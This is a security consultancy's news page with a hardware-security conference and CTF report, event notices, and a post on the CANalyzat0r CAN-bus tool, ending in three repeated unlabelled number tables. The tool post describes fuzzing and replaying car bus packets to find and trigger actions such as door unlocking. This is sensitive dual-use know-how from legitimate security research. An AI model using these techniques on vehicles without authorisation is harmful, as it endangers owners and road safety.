For the second year SCHUTZWERK was a sponsor of the hardwear.io conference in Den Haag. This year, we attended the conference with 3 employees focused on hardware and embedded security.

The Training Session

One of our hardware specialists, Heiko Ehret, learned how to reverse engineer a microchip in the training IC reverse engineering 101 from Tuesday to Wednesday. In this training the principles of gaining access to the DIE of a chip were presented and in the practical part for example photos, which were taken with a scanning electron microscope (SEM), were analyzed to extract the computational structure as well as reading out the contents of the memories. Using these methods, you can analyze the chip for possible vulnerabilities. With this knowledge, intrusive attacks like microprobing, ion-beam or laser fault injection were planned against the target to gain control of the IC and extract information.

Training Session IC reverse engineering 101

The Conference

On the following days, two students joined him, visiting the conference. At the registration, each attendee was given a badge and a “tag”. The badge is a small device capable of reading a tag through NFC and showing some information on the display. The tag is a wristband with an NFC business card, containing the name and Email address of the person. The first tag, assigned to the badge will “adopt” it and the name of the person is visible in a small screen on the badge. Then, the owner can collect further business cards simply by placing the tag to the reader of the badge. After the conference, the contact information can be collected with an USB cable from a PC.

Badge with Tag

The keynote was held by Kate Temkin, who explained her exploit for the Nintendo Switch and tried to promote the message, that the differences between securing hardware and software becomes more and more fluent and the developers of each camp need to work more closely together to develop secure devices. (Link to Talk and Video)

The next speaker José Lopes Esteves, employed by the French intelligence service, talked about the threats of unmanned aerial vehicle (UAV) and how to stop them. Then, he presented a framework to analyze the communication to and from the drone and how to break it to gain control over the UAV. (Link to Talk and Video)

After a short coffee break, Brandon Wilson held an inspiring presentation about the history of hacking Texas Instruments (TI) graphing calculators. At the beginning it was easy for hardware enthusiasts to execute arbitrary code on the devices due to some hardware vulnerabilities. Later TI worked with the modders together and provided an API for reprogramming their calculators. However due to legal reasons and wishes of certain customers (schools mainly) they needed to prevent that and tried to implement protection mechanisms and even weren’t afraid of threatening with lawsuits. However, it did not prevent the community to continue their efforts. Brandon invited others to join them, because there are plenty of reasons you can trust a simple calculator under your control more than a highly complex computer. (Link to Talk and Video)

After the lunch break, David Berend presented us his study about exploiting smartphone sensor data to extract the entered pin of the users. The access to the sensor data is not protected and every application (even java script code in the browser) can read it. Therefore every application on Android mobilephones has the ability to track the input of the user. Fortunately he also gave advice on how to protect oneself, but the best solution would be limiting the access of the valuable sensor data by Android itself. (Link to Talk and Video)

A highlight of the second Day talks was in my opinion the presentation of Andrew Tierney also known as “Ask Cybergibbons!” on twitter presenting the timeline of the “Unhackable” bitcoin hardware wallet sold by bitfi and how the correspondence with the vendor escalated. This finally led to a broken device and also bitfi winning the “Pwnie Award for the Lamest Vendor Response”. (Link to Talk and Video)

The CTF

The quality of the presentations was good, but another option on the conference sparked our interest, the Hardware CTF by Quarkslab. There were 21 challenges with different level of difficulty related to hardware hacking, which wanted to be solved. For example a smart lock with NFC needed to be opened. Or another challenge was to reverse engineer the code of microchips to find an exploit and capture the FLAGs. Another example was the sniffing of the communication between a Mifare card and a reader which has to be cracked afterwards. But there were also also non-coding challenges, like microsoldering a tiny chip to another circuit or 3D modeling a key, printing it with plastic and then open a lock of a box to gain the FLAG.

Our team “Void” managed to score the 2nd place in a nerve-racking race for the points in the end. All in all the CTF was great fun and also involved acquiring some new skills and training old ones.

Your browser does not support the video tag.

Opening a smart lock in 2 seconds [3].

We are looking forward to visit the hardwear.io conference next year again.

References

[0] Picture with permission by hardwear.io
[1] Picture with permission by hardwear.io @hardwear_io
[2] Picture with permission by Michael Wolf
[3] Video with permission by Slawomir Jasek (smartlockpicking.com) @slawekja

SCHUTZWERK sponsors hardwear.io 2018

SCHUTZWERK GmbH — Thu, 30 Aug 2018 13:00:00 +0100

hardwear.io will take place in Den Haag/Netherlands on 11th-13th of September 2018. SCHUTZWERK GmbH is an official sponsor of the event.

hardwear.io Security Conference is a platform for hardware and security community where researchers showcase and discuss their innovative research on attacking and defending hardware. The conference will present and discuss current topics of hardware security, for example concerning automotive and IoT sectors.

SCHUTZWERK regularly conducts technical assessments and security consulting in the area of embedded systems and IoT, see also Embedded Systems Assessment . We will take part with several participants and look forward to interesting discussions.

Powerful IT security for the car of the future

SCHUTZWERK GmbH — Fri, 25 May 2018 13:00:00 +0100

Munich, Germany – 25 May 2018 – The more electronics steer, accelerate and brake cars, the more important it is to protect them against cyber-attacks. That is why 15 partners from industry and academia will work together over the next three years on new approaches to IT security in self-driving cars. The joint project goes by the name Security For Connected, Autonomous Cars (SecForCARs) and has funding of €7.2 million from the German Federal Ministry of Education and Research. Infineon is leading the project.

Joint press release by AUDI AG, ESCRYPT GmbH, the Fraunhofer Institute for Applied and Integrated Security (AISEC), the Fraunhofer Institute for Mechatronic Systems Design (IEM), the Free University of Berlin, Karlsruhe University of Applied Sciences, Infineon Technologies AG, Itemis AG, Mixed Mode GmbH, Robert Bosch GmbH, SCHUTZWERK GmbH, the Technical University of Braunschweig, the Technical University of Munich, the University of Ulm and Volkswagen AG (associate partner).

Vehicles already offer diverse communication interfaces and more and more automated functions, such as distance and lane-keeping assist systems. At the same time, the automotive industry is working on completely connected and automated models whose electronics architecture will differ greatly from that of existing vehicles. It will have to record a lot more data and process it reliably in a far shorter time. And it will be designed to directly control all driving functions, which also increases security requirements.

With its focus on self-driving cars, SecForCARs stands out clearly from previous research initiatives relating to IT security in automobiles. Connected cars have the potential to offer many advantages in autonomous driving. For example, they improve safety when they warn each other about road damage or black ice. Yet the on-board electronics also need to be protected against external attacks. To this end, the project partners aim to explore and evaluate innovative mechanisms.

SecForCARs is looking at a wide range of questions: How can connected and autonomous cars be developed so as to be more secure? How can such vehicles be tested for security gaps? How can car makers and technology partners ensure that gaps that arise later are eliminated as quickly as possible?

The project brings together experts from the fields of IT security and autonomous driving. The car makers involved are Volkswagen AG and AUDI AG. The supplier industry is represented by Infineon Technologies AG and Robert Bosch GmbH. ESCRYPT GmbH, Itemis AG, Mixed Mode GmbH and SCHUTZWERK GmbH represent tool manufacturers and the security industry. Selected research institutes and universities ensure that the latest results from research are transferred to the project. They include the University of Ulm, the Technical Universities of Braunschweig and Munich, the Free University of Berlin, the Karlsruhe University of Applied Sciences, and the Fraunhofer Institutes AISEC and IEM. SecForCARs will run until March 2021.

SCHUTZWERK in the joint project SecForCARs

SCHUTZWERK GmbH contributes its expertise in the field of technical IT security analyses of vehicles, vulnerability disclosure, ISMS, and risk management to the project. SCHUTZWERK is particularly involved in the development of new methods and tools for the security assessment of autonomous vehicles.

As a consulting company with core competence for independent security testing, SCHUTZWERK regularly conducts IT security assessments of vehicles and other embedded systems (e.g. IoT devices or machines in the Industry 4.0 space). In addition to conceptual and technical testing methods, simulated hacker attacks, so-called penetration tests, are also used.

Canalyzat0r

Philipp Schmied — Wed, 14 Feb 2018 08:56:10 +0100

Disclaimer: The elaboration and software project associated to this subject are results of a Bachelor’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

While car manufacturers steadily refine and advance vehicle systems, requirements of the underlying networks increase even further. Striving for smart cars, a fast-growing amount of components are interconnected within a single car. This results in specialized and often proprietary car protocols built based on standardized technology. Most of these protocols are based on bus protocols: All network nodes within such a bus network are connected using a single shared data link. This technology provides a feasible way of real time communication between several security and comfort systems. However, often no or insufficient authentication and encryption or other security mechanisms can be found in today’s car systems. As described previously, most of the interchanged data structures on a car network bus, including associated systems, are proprietary. For this reason, there’s a need for open source, extensible, easy to use and publicly available software to analyze the security state of such networks and protocols.

CAN bus

Starting from mid-1980, the CAN bus is being implemented into vehicles. Still to this day, many components and proprietary protocols rely on the CAN bus. While analyzing today’s car protocols, we focused on this technology – however, there exist multiple additional technologies like FlexRay and automotive Ethernet which will most likely gain an increased relevance and also need to be analyzed in the future.

CAN network packets are defined by the associated packet format, which looks as follows [1]:

CAN packet format

Arbitration ID: Describes the meaning of the data segments
Control: Flags to manage packet transport
Data: Payload of the packet with up to eight bytes of data
CRC: Checksum

A general goal of analyzing car protocols is to reverse engineer the CAN matrix. This data structure maps CAN arbitration IDs and corresponding payloads to specific actions. An example for this is the identification of a CAN packet which controls the acceleration of a vehicle.

Depending on intended goals, the CAN bus can be accessed in two ways:

OBD-II interface: Since 2004, this diagnostic interface is mandatory for each car in the European Union. Most of the time, this port can be accessed from the driver’s seat. Inbound packets can and most likely will be filtered by the diagnostic gateway, so fuzzing from this interface can be of limited success rate.
Interacting with bus wires: It’s possible to directly splice analysis hardware into a CAN bus. This way, filtering can be circumvented and otherwise isolated bus segments can be analyzed.

Introducing the CANalyzat0r

This Python software project is built from scratch with new ideas for analysis mechanisms. It’s released on GitHub and bundles many features of other CAN tools in one place. Also, it’s GUI based and organized with one tab per specific analysis task:

Main Tab

Most of the existing open source CAN analysis software makes use of SocketCAN. This consists of a bundle of kernel modules that abstract CAN communication in such a way that CAN interfaces can be used similarly to conventional network interfaces on the Linux operating system. So does CANalyzat0r, including many additional features:

Manage interface configuration (automatically load kernel modules, manage physical and virtual SocketCAN devices)
Multi interface support: Sniff while sending data on a separate SocketCAN interface
Manage your work in projects. You can also import and export them in human readable/editable JSON format and track data using a version control system.
Transparent logging
Graphical sniffing
Manage findings, dumps and known packets per project:

Your browser does not support the video tag.

CANalyzat0r: Manage known packets per project

Easy copy and paste between CANalyzat0r modules. Also, it’s possible to paste text based SocketCAN files directly into the GUI to import existing packet dumps:

Your browser does not support the video tag.

CANalyzat0r: Pasting packets

Threaded Sending, Fuzzing and Sniffing
Ignore packets when sniffing - Automatically filter unique packets by ID or data and ID
Compare dumps
Allows setting up complex setups using only one window
Clean organization in tabs for each analysis task
Advanced packet filtering using an interactive packet replay approach
Search for action specific packets using background noise filtering
SQLite support
PDF and HTML code documentation

CANalyzat0r is modular and extensible – using the provided documentation it’s possible to implement new features which integrate into the existing GUI and work flow.

Usage Examples

Simultaneous sniffing and fuzzing

In order to analyze functionalities of proprietary car components, fuzzing mostly acts as a starting point. Using this approach, CAN nodes can be examined to uncover potential security risks. The CANalyzat0r can be used to quickly setup an efficient fuzzing environment:

Your browser does not support the video tag.

CANalyzat0r: Integrated fuzzer and sniffer

Connect the CANalyzat0r to the CAN node via SocketCAN and the desired bit rate.
In the fuzzer tab, choose the desired options: For example, it’s possible to define a fuzzing mask and a desired packet length range which will be applied to all randomly generated CAN packets:

Resulting payload	Payload mask	Length minimum	Length maximum
12 AA 34 56 BB 13	XX AA XX XX BB 13 XX XX	0	6
-	XX AA XX XX BB 13 XX XX	0	6
12 AA 34 88	XX AA XX XX BB 13 37 DD	2	4

Also, CAN Arbitration IDs can be fixed while payloads remain variable. Here’s an example:

Resulting CAN ID	ID mask	Fuzzing mode
BA4	XAX	User defined
832	XXX	User defined
563	-	11 bit IDs

While random packets are being generated and sent over the CAN bus, it’s possible to use the sniffer tab to trace answer packets. Sniffed packet dumps can be saved, replayed or filtered in further steps.

Semi-automated packet filtering

To exploit and check for packet replay vulnerabilities, it’s often necessary to capture packet dumps while executing a certain task on a car, for example unlocking the doors using the remote control. Once such a packet dump that causes a CAN node to execute the desired task has been captured, it’s mostly desired to minimize such a set of packets. To gain the desired effect on a car’s component, it’s not required to replay thousands of packets every time. In fact, desired actions can usually be performed using only a few particular CAN packets.

For this task, the filtering tab of the CANalyzat0r can be used:

Your browser does not support the video tag.

CANalyzat0r: Filtering packets

Capture “noise” packets: While the desired action is not being executed by the CAN component, packets that pass the bus will be captured. These packets will be useful in further analysis steps.
Record an arbitrary amount of packet sets while executing the task once per packet set.
Filtering: First, all previously captured noise packets will be removed from each packet set. After that, only packets which occur in every packet set will be shown. This resulting set of packets causes the CAN node to perform the desired task while being heavily minimized.

Packet search using a binary tree search

Large packet dumps often are the result of fuzzing attempts. To assist in filtering relevant packets, the searcher tab of the described toolkit can be used:

Load the desired packet dump by using either copy-and-paste mechanisms of the CANalyzat0r tabs, text based packet dumps or database queries.
After connecting the CANalyzat0r to the target vehicle, start the searching process.
The loaded packet set will be split into small chunks, which are replayed one after another. After one chunk has been replayed, the tool asks the user whether the desired action has been executed by the car. On success, the previously replayed packet set acts as the new base data set and the searching process restarts from the beginning.
If no chunk generates the desired output, randomization will be used. This results in shuffled packet chunks which will be used for further retries. Using this approach, actions which require multiple packets to be sent can be identified.

Database management

Once packet dumps for specific results have been identified, they can be saved to the SQLite based database with an associated description. This allows a centralized finding management. Using the JSON based database import and export functionality, database states can be version controlled. It’s also possible to work on multiple CANalyzat0r projects simultaneously by creating separate projects.

Easy setup using docker

To get started quickly, the provided docker image can be used. No dependencies have to be present on the host system and the CANalyzat0r is up and ready using only a few commands. Please refer to the docker folder within the CANalyzat0r repository for additional information.

References

[1] CAN packet format
CANalyzat0r GitHub Repository

Our year 2017: Even closer to our customer

SCHUTZWERK GmbH — Mon, 18 Dec 2017 13:00:00 +0100

The last year was exciting and full of challenges for the SCHUTZWERK-Team.

We were personally touched by the leave of our Managing Director Holger Gerlach. He left the company for personal reasons. Greetings from the whole team and all the best for you and your family, dear Holger! From 2018, Christoph Wolfert and Dr. Bastian Könings will take over more responsibility in their new role as Managing Consultants.

Hamburg - We are coming!

We opened our new office in the beautiful Hanseatic city of Hamburg. The first employees take care of our steadily growing clientele in Northern Germany.

Ulm - We are growing!

With the steadily rising demand, many more employees are needed. That's why we have strengthened our team in Ulm with new creative minds.

Christmas: Donations instead of gifts

We have selected 7 projects on the Betterplace donations platform, which we support with a total of 3,000.00 euros. Have a look at the project: https://schutzwerk.spendengutschein.org

In short:

Looking back, we are very satisfied and grateful for 2017. Our customers and business partners play a major role in this. The entire team would like to thank you from the bottom of our heart. We are looking forward to what the coming year will bring. We wish you and your loved ones a Merry Christmas and a happy and healthy New Year!

SCHUTZWERK AT THE 9TH GERMAN OWASP DAY

SCHUTZWERK GmbH — Mon, 23 Oct 2017 13:00:00 +0100

The 9th German OWASP Day will take place in Essen on the 14th of November. SCHUTZWERK GmbH is an official sponsor of the event.

The German OWASP Day 2017 , like every year, will be hosted by the German OWASP Chapter. The German OWASP Day is the most important, independent and non-commercial conference on application security in Germany. The event offers exciting lectures on secure development, operation, testing and management in the field of applications. The focus is on web applications. Interdisciplinary, non-technical topics are also represented.

CAPTURE THE FLAG: FREE HACKING WORKSHOP AT IT-SA

SCHUTZWERK GmbH — Sun, 03 Sep 2017 13:00:00 +0100

This year the it-sa, one of the biggest trade fairs for IT-Security in the German-speaking region, will take place from 10th to 12nd October at the Nuremberg Exhibition Centre. SCHUTZWERK GmbH will be present in hall 9, booth 9-615. This is the joint booth of the Bavarian IT security cluster.

Visitors who want to prove their hacking skills can do so at one of two capture-the-flag contests. Here, participants experience a lack of IT security in practice and can take advantage of one of the rare opportunities for hacking legally. You can participate for a whole day or drop in and solve some of the challenges for one or two hours.

During the CTF event, there will be a presentation in the same room at 11am and 3pm, which will provide further insight into the Capture the Flag (CTF). Take advantage of the opportunity to participate for free!

The CTF competitions will take place on Tuesday and Wednesday, i. e. on October 10th and 11th in the room "Basel" of the NürnbergConvention Center. The three best contestants of both days will be awarded at 4:30 pm in room Basel and will receive exciting prizes.

If you are interested in the CTF competition please register until 22nd September by sending an e-mail to Jessica Grolik at: jgrolik@schutzwerk.com. Please bring your own notebook, everything else is available, notebooks will be booted via USB.

If you would like to schedule a personal meeting with us during the trade faire please call +49 731 977 191 0 or mail to Jessica Grolik at the above address. We will also be happy to send you a voucher code for a free admission ticket to the trade fair.

Exhibition dates at a glance:

it-sa - The IT-Security Fair and Congress
Exhibition Centre in 90471 Nuremberg
SCHUTZWERK GmbH: Hall 9, Booth 9-615

10th to 12nd October 2017
Tuesday and Wednesday: 9am to 6pm
Thursday: 9 to 17 o' clock

Capture the Flag Workshop:

CTF-Competition: Tuesday and Wednesday from 09:30 to 16:15
CTF presentation: Tuesday and Wednesday at 11am and 3pm
Awards ceremony: Tuesday and Wednesday at 4:30pm
Everything in the room "Basel" of the NürnbergConvention Center

SCHUTZWERK sponsors hardwear.io 2017

SCHUTZWERK GmbH — Fri, 09 Jun 2017 13:00:00 +0100

hardwear.io will take place in Den Haag/Netherlands on 21st-22nd of September 2017. SCHUTZWERK GmbH is an official sponsor of the event.

CTF Training at University of Ulm

SCHUTZWERK GmbH — Wed, 26 Apr 2017 13:00:00 +0100

On March 24, 2017, SCHUTZWERK, in cooperation with the Institute for Distributed Systems, held a "Capture-The-Flag" hacking competition for about 60 students of the University of Ulm.

As part of the all-day workshop at the University of Ulm, students were given various hacking tasks in multiple categories and difficulty levels. A part of the tasks were concerned with a forensic investigation of IT systems, based on provided memory images. Further tasks covered the areas of security of web applications, algorithms and cryptography.

We would like to thank all the students for their participation and congratulate the top three:

1st place - Markus & Karina - Price: Raspberry Pi Starter Kit
2nd place - Markus - Prize: Ubertooth One
3rd place - Marcel - Price: Bash Bunny

With further new tasks we are already planning new dates at different universities!

The Next Generation of Security Experts

SCHUTZWERK GmbH — Thu, 08 Dec 2016 13:00:00 +0100

In cooperation with the Universities of Furtwangen and Aalen, SCHUTZWERK organized a hacking event on the 25th resp. 30th of November 2016, which also included a ''Capture the Flag Contest''. With overall nearly 100 participants and a lot of positive feedback the events were a full success.

We like to say thank you for the professional cooperation to those responsible on the side of the Universities of Furtwangen and Aalen. Also a big thank you to all participating students for the awesome participation!

More information:

Article of Hochschule Furtwangen

Article of Schwarzwälder Bote

Hacking Workshop at Hochschule Aalen

SCHUTZWERK GmbH — Fri, 25 Nov 2016 13:00:00 +0100

In cooperation with the University of Aalen, SCHUTZWERK is organizing a Hacking Workshop with “Capture the Flag Contest” on the 30th November 2016. The event enables the participants to achieve IT security know-how in a playful way.

The workshop covers diverse areas, for example the forensic analysis of IT systems, on the basis of a working storage map. Further topics in the area of web application hacking, algorithmics and cryptographiy will be addressed additionally.

New training wear for the handballers of SG Ulm & Wiblingen

SCHUTZWERK GmbH — Tue, 22 Nov 2016 13:00:00 +0100

Since 2012 SCHUTZWERK is sponsoring the mens handball team I of the SG Ulm & Wiblingen. This year it was time again for new tracksuits and warm-up shirts.

The best wishes from SCHUTZWERK to the regional league team from SG Ulm & Wiblingen for the game season 2016 / 2017.

8. FURTWANGENER HACKING EVENT HACK2IMPROVE 2016 WITH SCHUTZWERK

SCHUTZWERK GmbH — Thu, 10 Nov 2016 13:00:00 +0100

In cooperation with the University of Furtwangen, SCHUTZWERK is organizing the Hack2Improve event on the 25th November 2016, focusing on the latest IT security topics.

Hack2Improve is a hands-on event that attracts beginners as well as advanced attendees year after year. For example, they learn how to read a secure WLAN connection. Another key issue includes the basics for examining a smartphone app and the sensitive data it contains. Intermediate participants learn the forensic investigation of IT systems as well as advanced topics in the field of hacking web applications.

More information: www.hack2improve.de

SCHUTZWERK AT THE 8TH GERMAN OWASP DAY

SCHUTZWERK GmbH — Tue, 18 Oct 2016 13:00:00 +0100

The 8th German OWASP Day will take place in Darmstadt on the 29th of November. SCHUTZWERK GmbH is an official sponsor of the event.

The yearly German OWASP Day conference is hosted by the OWASP German Chapter. The event features interesting talks and presentation concerning secure development, operations, test and management in the area of application security, with a focus on web applications. In addition, interdisciplinary and non-technical topics are also presented.

Presentation about "targeted attacks on IT networks"

SCHUTZWERK GmbH — Wed, 05 Oct 2016 13:00:00 +0100

SCHUTZWERK at the first IT-GRC Congress in Berlin.

On the 15th and 16th June 2016 the first IT-GRC Congress took place in Berlin. The organizers "ISACA Germany Chapter e.V." and “Quadriga Hochschule Berlin” focus the event on “Cyber Security & Digital Transformation”. But the topics went beyond Governance, Revision and Compliance and covered also the current threat landscape in information technology.

At the event Christoph Wolfert, Senior Security Consultant at SCHUTZWERK GmbH, spoke about targeted attacks. Besides explaining the details of these attacks, he demonstrated live different attack examples for the audience.

New website, streamlined portfolio, new team members

SCHUTZWERK GmbH — Thu, 11 Aug 2016 13:00:00 +0100

After a lot of work and dedication, our new website has now gone online this August. In close collaboration with the web specialists of the agency Halma and with the ongoing support of the graphic design agency greenergrass, we have now taken our online presence to a new level. At the same time, we have also streamlined our portfolio in order to take account of increasing specialization requirements in information and IT security. In future, SCHUTZWERK GmbH will be focused on their core competencies of assessment, consulting and process. Furthermore, we are pleased to welcome Thomas Bläsing and Philipp Wenk as competent additions to our team of auditors and consultants.

Many thanks to our partners: HALMA GmbH & Co. KG - Agentur für Werbung greenergrass design and motion - Film und Kommunikations Design

Presentation on "Web Security from the Perspective of a Penetration Tester"

SCHUTZWERK GmbH — Sat, 18 Jun 2016 13:00:00 +0100

On 14th June 2016, the 13th Cyber Security Day took place in Leipzig. This event was organized by the Alliance for Cyber Security, an initiative of the Federal Office for Information Security (Bundesamt für Sicherheit in der Informationstechnik - BSI). This time the event was dedicated to the topic of "Web Application Security". Owing to the huge demand, the contents were, for the first time, specifically aimed at “engineers” as target audience.

At the event Dr. Bastian Könings, Security Consultant at SCHUTZWERK GmbH, spoke about web security from the perspective of an auditor ( penetration tester ). He thereby explained the general procedure of the respective assessments and also described typical attacks, such as injection attacks and cross-site scripting.

SCHUTZWERK COVID-19 Information

SCHUTZWERK GmbH — Mon, 01 Jan 0001 00:00:00 +0000

We support you through difficult times!

Dear customers, business partners and interested parties,

we, the SCHUTZWERK team, hope that all of you are well and remain healthy. We would like to assure you that we will continue to be at your full disposal and will gladly support you in this difficult situation. Our Forensics and Incident Response Team already supports many customers in analyzing the increasing number of IT-based attacks. With our dedicated security review for home office and remote work solutions we support our customers in dealing with current challenges.

Since the beginning of the COVID-19 outbreak, SCHUTZWERK has been closely monitoring the situation and has initiated proactive measures early. Our internal and technical assessment infrastructure, allow our us to work independent of their location. Since we already have distributed structures with several locations and home office workstations, our communication services (both internal and for customers) are also well equipped for this situation.

Thanks to our flexible assessment infrastructure, we will continue to provide you with support for external and also internal assessment activities. With our “VirtualAuditorBox” (VAB) we are able to continue to carry out internal assessments without compromise, as none of our employees need to be on site at your location. We have already deployed the VAB in many projects and are happy about the increased demand.

Please understand that we currently only plan on-site appointments and visits to our offices in emergencies and with prior alignment.

We will continue to keep an eye on the current situation and, if necessary, inform you about measures that also affect you as a customer and business partner.

all the best, your SCHUTZWERK team

0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15
16	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
0	0	0	4	2	0	0	2	0	4	0	0	0	2	2	0
0	4	0	6	0	2	0	0	0	0	2	0	2	0	0	0
0	0	4	0	0	0	2	2	0	0	4	0	0	0	2	2
0	2	0	0	0	0	0	2	2	0	0	0	0	4	2	4
0	2	2	0	2	0	2	0	0	2	2	0	2	0	2	0
0	0	0	0	4	0	0	0	0	0	0	4	4	0	4	0
0	0	2	2	0	2	0	2	2	2	0	0	0	2	0	2
0	2	2	0	0	2	0	2	0	2	2	0	0	2	0	2
0	2	0	0	4	0	4	2	2	0	0	0	0	0	2	0
0	0	2	2	2	0	2	0	2	2	0	0	2	0	2	0
0	0	0	0	0	4	0	4	0	0	0	4	0	4	0	0
0	0	4	0	0	2	2	0	4	0	0	0	2	0	0	2
0	0	0	0	0	0	4	0	0	0	0	8	0	0	0	4
0	4	0	0	2	2	0	0	0	4	0	0	2	2	0	0
0	0	0	2	0	2	0	0	4	0	6	0	2	0	0	0

0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15
16	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
0	0	0	4	2	0	0	2	0	4	0	0	0	2	2	0
0	4	0	6	0	2	0	0	0	0	2	0	2	0	0	0
0	0	4	0	0	0	2	2	0	0	4	0	0	0	2	2
0	2	0	0	0	0	0	2	2	0	0	0	0	4	2	4
0	2	2	0	2	0	2	0	0	2	2	0	2	0	2	0
0	0	0	0	4	0	0	0	0	0	0	4	4	0	4	0
0	0	2	2	0	2	0	2	2	2	0	0	0	2	0	2
0	2	2	0	0	2	0	2	0	2	2	0	0	2	0	2
0	2	0	0	4	0	4	2	2	0	0	0	0	0	2	0
0	0	2	2	2	0	2	0	2	2	0	0	2	0	2	0
0	0	0	0	0	4	0	4	0	0	0	4	0	4	0	0
0	0	4	0	0	2	2	0	4	0	0	0	2	0	0	2
0	0	0	0	0	0	4	0	0	0	0	8	0	0	0	4
0	4	0	0	2	2	0	0	0	4	0	0	2	2	0	0
0	0	0	2	0	2	0	0	4	0	6	0	2	0	0	0

0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15
16	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
0	0	0	4	2	0	0	2	0	4	0	0	0	2	2	0
0	4	0	6	0	2	0	0	0	0	2	0	2	0	0	0
0	0	4	0	0	0	2	2	0	0	4	0	0	0	2	2
0	2	0	0	0	0	0	2	2	0	0	0	0	4	2	4
0	2	2	0	2	0	2	0	0	2	2	0	2	0	2	0
0	0	0	0	4	0	0	0	0	0	0	4	4	0	4	0
0	0	2	2	0	2	0	2	2	2	0	0	0	2	0	2
0	2	2	0	0	2	0	2	0	2	2	0	0	2	0	2
0	2	0	0	4	0	4	2	2	0	0	0	0	0	2	0
0	0	2	2	2	0	2	0	2	2	0	0	2	0	2	0
0	0	0	0	0	4	0	4	0	0	0	4	0	4	0	0
0	0	4	0	0	2	2	0	4	0	0	0	2	0	0	2
0	0	0	0	0	0	4	0	0	0	0	8	0	0	0	4
0	4	0	0	2	2	0	0	0	4	0	0	2	2	0	0
0	0	0	2	0	2	0	0	4	0	6	0	2	0	0	0